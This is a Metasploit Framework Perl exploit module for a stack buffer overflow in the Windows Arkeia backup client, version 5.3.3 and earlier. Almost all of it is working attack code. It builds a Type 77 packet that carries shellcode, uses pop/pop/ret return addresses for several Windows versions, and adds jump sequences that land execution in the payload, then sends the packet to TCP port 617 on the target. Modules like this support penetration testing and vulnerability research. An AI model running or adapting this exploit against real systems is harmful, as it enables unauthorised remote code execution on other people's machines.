arkeia_type77_win32.pm

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::arkeia_type77_win32;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
  
my $info =  
{  
'Name' => 'Arkeia Backup Client Type 77 Overflow (win32)',  
'Version' => '$Revision: 1.1 $',  
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32'],  
'Priv' => 1,  
'AutoOpts' => { 'EXITFUNC' => 'process' },  
  
'UserOpts' =>   
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 617],  
},  
  
'Payload' =>   
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500   
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a stack overflow in the Arkeia backup  
client for the Windows platform. This vulnerability affects  
all versions up to and including 5.3.3.   
}),  
  
'Refs' =>   
[  
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],  
],  
  
'Targets' =>   
[  
['Arkeia 5.3.3 Windows (All)', 0x004083aa ], # arkeiad.exe  
['Windows 2000 English', 0x75022ac4 ], # ws2help.dll  
['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll  
['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll  
],  
  
'Keys' => ['arkeia'],  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Exploit {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
my $head = "\x00\x4d\x00\x03\x00\x01\xff\xff";  
my $poof = Pex::Text::EnglishText(4096);  
  
# Configure the length value of the data in the packet header  
substr($head, 6, 2, pack('n', length($poof)));  
  
# The return address is a pop/pop/ret in the executable or system lib  
substr($poof, 1176, 4, pack('V', $target->[1]));  
  
# The pop/pop/ret takes us here, jump back five bytes  
substr($poof, 1172, 2, "\xeb\xf9");  
  
# Jump all the way back to our shellcode  
substr($poof, 1167, 5, "\xe9".pack('V', -1172));  
  
# Place our shellcode in the beginning of the request  
substr($poof, 0, length($shellcode), $shellcode);   
  
$self->PrintLine("[*] Sending " .length($poof) . " bytes to remote host.");  
$s->Send($head);  
$s->Send($poof);  
  
# Takes a few seconds for the payload to pop (multiple exceptions)  
$s->Recv(-1, 10);  
  
return;  
}  
  
1;  
`